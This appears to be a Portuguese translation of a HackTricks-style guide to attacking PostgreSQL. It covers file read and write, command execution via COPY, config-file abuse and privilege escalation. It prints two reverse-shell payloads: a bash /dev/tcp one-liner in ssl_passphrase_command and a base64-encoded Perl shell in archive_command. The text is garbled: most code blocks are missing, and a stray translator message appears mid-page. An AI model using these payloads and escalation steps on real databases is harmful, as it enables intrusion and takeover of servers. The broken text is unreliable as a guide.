5432,5433 - Pentesting Postgresql
Use Trickest para construir facilmente e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo. Acesse hoje:
Informações Básicas
PostgreSQL é descrito como um sistema de banco de dados objeto-relacional que é código aberto. Este sistema não apenas utiliza a linguagem SQL, mas também a aprimora com recursos adicionais. Suas capacidades permitem lidar com uma ampla variedade de tipos de dados e operações, tornando-o uma escolha versátil para desenvolvedores e organizações.
Porta padrão: 5432 e, se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (5433 provavelmente) que não está em uso.
Conectar & Enumeração Básica
Se ao executar \list
você encontrar um banco de dados chamado rdsadmin
, você está dentro de um banco de dados PostgreSQL da AWS.
Para mais informações sobre como abusar de um banco de dados PostgreSQL, confira:
pagePostgreSQL injectionEnumeração Automática
Varredura de portas
De acordo com esta pesquisa, quando uma tentativa de conexão falha, o dblink
lança uma exceção sqlclient_unable_to_establish_sqlconnection
incluindo uma explicação do erro. Abaixo estão listados exemplos desses detalhes.
O host está inativo
DETALHE: não foi possível conectar ao servidor: Sem rota para o host O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?
A porta está fechada
A porta está aberta
Sorry, but I need a specific text to translate. Could you please provide the text you'd like me to translate into Portuguese?
A porta está aberta ou filtrada
Em funções PL/pgSQL, atualmente não é possível obter detalhes de exceção. No entanto, se você tiver acesso direto ao servidor PostgreSQL, poderá recuperar as informações necessárias. Se extrair nomes de usuário e senhas das tabelas do sistema não for viável, você pode considerar utilizar o método de ataque de lista de palavras discutido na seção anterior, pois poderia potencialmente produzir resultados positivos.
Enumeração de Privilégios
Funções
Tipos de Função | |
---|---|
rolsuper | Função tem privilégios de superusuário |
rolinherit | Função herda automaticamente os privilégios das funções das quais é membro |
rolcreaterole | Função pode criar mais funções |
rolcreatedb | Função pode criar bancos de dados |
rolcanlogin | Função pode fazer login. Ou seja, essa função pode ser dada como o identificador de autorização de sessão inicial |
rolreplication | Função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e excluir slots de replicação. |
rolconnlimit | Para funções que podem fazer login, define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite. |
rolpassword | Não a senha (sempre lida como |
rolvaliduntil | Tempo de expiração da senha (usado apenas para autenticação de senha); nulo se não houver expiração |
rolbypassrls | Função ignora todas as políticas de segurança de nível de linha, consulte Seção 5.8 para mais informações. |
rolconfig | Padrões específicos da função para variáveis de configuração em tempo de execução |
oid | ID da função |
Grupos Interessantes
Se você é membro de
pg_execute_server_program
você pode executar programasSe você é membro de
pg_read_server_files
você pode ler arquivosSe você é membro de
pg_write_server_files
você pode escrever arquivos
Observe que no Postgres um usuário, um grupo e uma função são iguais. Apenas depende de como você os usa e se você permite o login.
Tabelas
Funções
Ações no sistema de arquivos
Ler diretórios e arquivos
A partir deste commit membros do grupo definido DEFAULT_ROLE_READ_SERVER_FILES
(chamado pg_read_server_files
) e super usuários podem usar o método COPY
em qualquer caminho (verifique convert_and_check_filename
em genfile.c
):
Lembre-se de que se você não é um super usuário, mas tem permissões CREATEROLE, você pode se tornar membro desse grupo:
Existem outras funções do postgres que podem ser usadas para ler arquivos ou listar um diretório. Apenas superusuários e usuários com permissões explícitas podem usá-las:
Pode encontrar mais funções em https://www.postgresql.org/docs/current/functions-admin.html
Escrita Simples de Arquivo
Apenas super usuários e membros de pg_write_server_files
podem usar a cópia para escrever arquivos.
Lembre-se de que se você não é um super usuário, mas tem permissões CREATEROLE
, você pode se tornar membro desse grupo:
Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo se você estiver usando uma carga útil em base64, você precisa enviar em uma linha.
Uma limitação muito importante dessa técnica é que copy
não pode ser usado para escrever arquivos binários, pois modifica alguns valores binários.
Upload de arquivos binários
No entanto, existem outras técnicas para fazer upload de grandes arquivos binários:
pageBig Binary Files Upload (PostgreSQL)Dica de recompensa por bugs: cadastre-se no Intigriti, uma plataforma premium de bug bounty criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje e comece a ganhar recompensas de até $100.000!
Atualizando dados da tabela PostgreSQL via gravação de arquivo local
Se você tiver as permissões necessárias para ler e escrever arquivos do servidor PostgreSQL, você pode atualizar qualquer tabela no servidor sobrescrevendo o nó de arquivo associado no diretório de dados do PostgreSQL. Mais sobre essa técnica aqui.
Passos necessários:
Obter o diretório de dados do PostgreSQL
Nota: Se você não conseguir recuperar o caminho do diretório de dados atual das configurações, você pode consultar a versão principal do PostgreSQL por meio da consulta SELECT version()
e tentar forçar o caminho. Os caminhos comuns de diretório de dados em instalações Unix do PostgreSQL são /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/
. Um nome de cluster comum é main
. 2. Obter um caminho relativo para o nó de arquivo, associado à tabela de destino
Esta consulta deve retornar algo como base/3/1337
. O caminho completo no disco será $DATA_DIRECTORY/base/3/1337
, ou seja, /var/lib/postgresql/13/main/base/3/1337
. 3. Baixar o nó de arquivo por meio das funções lo_*
Obter o tipo de dados associado à tabela de destino
Usar o Editor de Filenode do PostgreSQL para editar o nó de arquivo; definir todas as flags booleanas
rol*
como 1 para permissões completas.
(Opcionalmente) Limpar o cache da tabela em memória executando uma consulta SQL cara
Agora você deve ver os valores da tabela atualizados no PostgreSQL.
Você também pode se tornar um superadmin editando a tabela pg_authid
. Veja a seguinte seção.
RCE
RCE para programa
Desde a versão 9.3, apenas super usuários e membros do grupo pg_execute_server_program
podem usar o copy para RCE (exemplo com exfiltração:
Exemplo para executar:
Lembre-se de que se você não é um super usuário, mas tem permissões CREATEROLE
, você pode se tornar membro desse grupo:
Ou utilize o módulo multi/postgres/postgres_copy_from_program_cmd_exec
do metasploit.
Mais informações sobre essa vulnerabilidade aqui. Enquanto reportado como CVE-2019-9193, o Postges declarou que isso era um recurso e não será corrigido.
RCE com Linguagens do PostgreSQL
pageRCE with PostgreSQL LanguagesRCE com Extensões do PostgreSQL
Uma vez que você tenha aprendido do post anterior como fazer upload de arquivos binários, você pode tentar obter RCE fazendo upload de uma extensão do postgresql e carregando-a.
pageRCE with PostgreSQL ExtensionsRCE com arquivo de configuração do PostgreSQL
Os seguintes vetores de RCE são especialmente úteis em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas
O arquivo de configuração do PostgreSQL é gravável pelo usuário postgres, que é o que executa o banco de dados, então como superusuário, você pode escrever arquivos no sistema de arquivos e, portanto, pode sobrescrever este arquivo.
RCE com ssl_passphrase_command
Mais informações sobre essa técnica aqui.
O arquivo de configuração possui alguns atributos interessantes que podem levar a RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
Caminho para a chave privada do banco de dadosssl_passphrase_command = ''
Se o arquivo privado é protegido por senha (criptografado), o postgresql irá executar o comando indicado neste atributo.ssl_passphrase_command_supports_reload = off
Se este atributo estiver ligado, o comando executado se a chave for protegida por senha será executado quandopg_reload_conf()
for executado.
Então, um atacante precisará:
Extrair a chave privada do servidor
Criptografar a chave privada baixada:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
Sobrescrever
Extrair a configuração atual do postgresql
Sobrescrever a configuração com a configuração dos atributos mencionados:
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
ssl_passphrase_command_supports_reload = on
Executar
pg_reload_conf()
Ao testar isso, notei que isso só funcionará se o arquivo de chave privada tiver privilégios 640, for propriedade de root e do grupo ssl-cert ou postgres (para que o usuário postgres possa lê-lo) e estiver localizado em /var/lib/postgresql/12/main.
RCE com archive_command
Mais informações sobre essa configuração e sobre WAL aqui.
Outro atributo no arquivo de configuração que é explorável é archive_command
.
Para que isso funcione, a configuração archive_mode
deve ser 'on'
ou 'always'
. Se isso for verdade, então poderíamos sobrescrever o comando em archive_command
e forçá-lo a ser executado por meio das operações de WAL (write-ahead logging).
Os passos gerais são:
Verificar se o modo de arquivamento está ativado:
SELECT current_setting('archive_mode')
Sobrescrever
archive_command
com o payload. Por exemplo, um shell reverso:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
Recarregar a configuração:
SELECT pg_reload_conf()
Forçar a operação de WAL a ser executada, o que chamará o comando de arquivamento:
SELECT pg_switch_wal()
ouSELECT pg_switch_xlog()
para algumas versões do Postgres
RCE com bibliotecas de pré-carregamento
Mais informações sobre essa técnica aqui.
Este vetor de ataque aproveita as seguintes variáveis de configuração:
session_preload_libraries
-- bibliotecas que serão carregadas pelo servidor PostgreSQL na conexão do cliente.dynamic_library_path
-- lista de diretórios onde o servidor PostgreSQL procurará as bibliotecas.
Podemos definir o valor de dynamic_library_path
para um diretório gravável pelo usuário postgres
que executa o banco de dados, por exemplo, o diretório /tmp/
, e fazer upload de um objeto malicioso .so
lá. Em seguida, forçaremos o servidor PostgreSQL a carregar nossa nova biblioteca enviando-a na variável session_preload_libraries
.
Os passos do ataque são:
Baixar o
postgresql.conf
originalIncluir o diretório
/tmp/
no valor dedynamic_library_path
, por exemplo,dynamic_library_path = '/tmp:$libdir'
Incluir o nome da biblioteca maliciosa no valor de
session_preload_libraries
, por exemplo,session_preload_libraries = 'payload.so'
Verificar a versão principal do PostgreSQL por meio da consulta
SELECT version()
Compilar o código da biblioteca maliciosa com o pacote dev correto do PostgreSQL. Código de exemplo:
Compilando o código:
Fazer upload do
postgresql.conf
malicioso, criado nos passos 2-3, e sobrescrever o originalFazer upload do
payload.so
do passo 5 para o diretório/tmp
Recarregar a configuração do servidor reiniciando o servidor ou invocando a consulta
SELECT pg_reload_conf()
Na próxima conexão do banco de dados, você receberá a conexão do shell reverso.
Postgres Privesc
Privilégio de CREATEROLE
Conceder
De acordo com a documentação: Funções com o privilégio CREATEROLE
podem conceder ou revogar a associação a qualquer função que não seja um superusuário.
Portanto, se você tiver permissão de CREATEROLE
, poderá conceder a si mesmo acesso a outras funções (que não sejam superusuários) que podem lhe dar a opção de ler e escrever arquivos e executar comandos:
Alterar Senha
Usuários com essa função também podem alterar as senhas de outros não-superusuários:
Elevação para SUPERUSER
É bastante comum encontrar que usuários locais podem fazer login no PostgreSQL sem fornecer qualquer senha. Portanto, uma vez que você tenha obtido permissões para executar código, você pode abusar dessas permissões para obter a função de SUPERUSER
:
Isso geralmente é possível por causa das seguintes linhas no arquivo pg_hba.conf
:
ALTER TABLE privesc
No este artigo é explicado como foi possível fazer privesc no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário.
Quando você tenta tornar outro usuário proprietário de uma tabela, você deveria receber um erro impedindo isso, mas aparentemente o GCP deu essa opção ao usuário postgres não-superusuário no GCP:
Unindo essa ideia com o fato de que quando os comandos INSERT/UPDATE/ANALYZE são executados em uma tabela com uma função de índice, a função é chamada como parte do comando com as permissões do proprietário da tabela. É possível criar um índice com uma função e dar permissões de proprietário a um superusuário sobre essa tabela e, em seguida, executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando as permissões do proprietário.
Exploração
Comece criando uma nova tabela.
Insira algum conteúdo irrelevante na tabela para fornecer dados para a função de índice.
Desenvolva uma função de índice maliciosa que contenha um payload de execução de código, permitindo a execução de comandos não autorizados.
ALTERE o proprietário da tabela para "cloudsqladmin," que é a função de superusuário exclusivamente usada pelo Cloud SQL para gerenciar e manter o banco de dados.
Execute uma operação ANALYZE na tabela. Essa ação faz com que o mecanismo do PostgreSQL mude para o contexto do usuário do proprietário da tabela, "cloudsqladmin." Consequentemente, a função de índice maliciosa é chamada com as permissões de "cloudsqladmin," permitindo a execução do comando de shell previamente não autorizado.
No PostgreSQL, esse fluxo se parece com isso:
Em seguida, a tabela shell_commands_results
conterá a saída do código executado:
Login Local
Algumas instâncias mal configuradas do postgresql podem permitir o login de qualquer usuário local, é possível fazer login local a partir de 127.0.0.1 usando a função dblink
:
Note que, para a consulta anterior funcionar, a função dblink
precisa existir. Se não existir, você pode tentar criá-la com
Se você tiver a senha de um usuário com mais privilégios, mas o usuário não tem permissão para fazer login a partir de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
É possível verificar se esta função existe com:
Função definida pelo usuário com SECURITY DEFINER
Neste artigo, os pentesters conseguiram obter privilégios elevados dentro de uma instância do postgres fornecida pela IBM, porque eles encontraram esta função com a flag SECURITY DEFINER:
Como explicado na documentação, uma função com SECURITY DEFINER é executada com os privilégios do usuário que a possui. Portanto, se a função for vulnerável a Injeção de SQL ou estiver realizando ações privilegiadas com parâmetros controlados pelo atacante, ela poderá ser abusada para elevar privilégios dentro do postgres.
Na linha 4 do código anterior, você pode ver que a função possui a flag SECURITY DEFINER.
E então executar comandos:
Realizar Brute Force com PL/pgSQL
PL/pgSQL é uma linguagem de programação completa que oferece maior controle procedural em comparação com o SQL. Ele permite o uso de loops e outras estruturas de controle para aprimorar a lógica do programa. Além disso, declarações SQL e triggers têm a capacidade de invocar funções criadas usando a linguagem PL/pgSQL. Essa integração permite uma abordagem mais abrangente e versátil para programação e automação de banco de dados. Você pode abusar dessa linguagem para solicitar ao PostgreSQL que faça força bruta nas credenciais dos usuários.
pagePL/pgSQL Password BruteforceElevação de Privilégios ao Sobrescrever Tabelas Internas do PostgreSQL
O seguinte vetor de elevação de privilégios é especialmente útil em contextos de SQLi restritos, pois todas as etapas podem ser realizadas por meio de declarações SELECT aninhadas
Se você pode ler e escrever arquivos do servidor PostgreSQL, você pode se tornar um superusuário ao sobrescrever o filenode em disco do PostgreSQL, associado à tabela interna pg_authid
.
Saiba mais sobre essa técnica aqui.
Os passos do ataque são:
Obter o diretório de dados do PostgreSQL
Obter um caminho relativo para o filenode, associado à tabela
pg_authid
Baixar o filenode por meio das funções
lo_*
Obter o tipo de dados, associado à tabela
pg_authid
Usar o Editor de Filenode do PostgreSQL para editar o filenode; definir todas as flags booleanas
rol*
como 1 para permissões completas.Reenviar o filenode editado por meio das funções
lo_*
, e sobrescrever o arquivo original no disco(Opcionalmente) Limpar o cache da tabela em memória executando uma consulta SQL cara
Agora você deve ter os privilégios de um superadministrador completo.
POST
registro
Dentro do arquivo postgresql.conf você pode habilitar os logs do postgresql alterando:
Então, reinicie o serviço.
pgadmin
pgadmin é uma plataforma de administração e desenvolvimento para o PostgreSQL. Você pode encontrar senhas dentro do arquivo pgadmin4.db Você pode descriptografá-las usando a função decrypt dentro do script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py
pg_hba
A autenticação do cliente no PostgreSQL é gerenciada por meio de um arquivo de configuração chamado pg_hba.conf. Este arquivo contém uma série de registros, cada um especificando um tipo de conexão, intervalo de endereços IP do cliente (se aplicável), nome do banco de dados, nome do usuário e o método de autenticação a ser usado para conexões correspondentes. O primeiro registro que corresponde ao tipo de conexão, endereço do cliente, banco de dados solicitado e nome do usuário é usado para autenticação. Não há fallback ou backup se a autenticação falhar. Se nenhum registro corresponder, o acesso é negado.
Os métodos de autenticação baseados em senha disponíveis no pg_hba.conf são md5, crypt e password. Esses métodos diferem na forma como a senha é transmitida: MD5-hashed, crypt-encrypted ou texto simples. É importante observar que o método crypt não pode ser usado com senhas que foram criptografadas em pg_authid.
Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo. Acesse hoje:
Last updated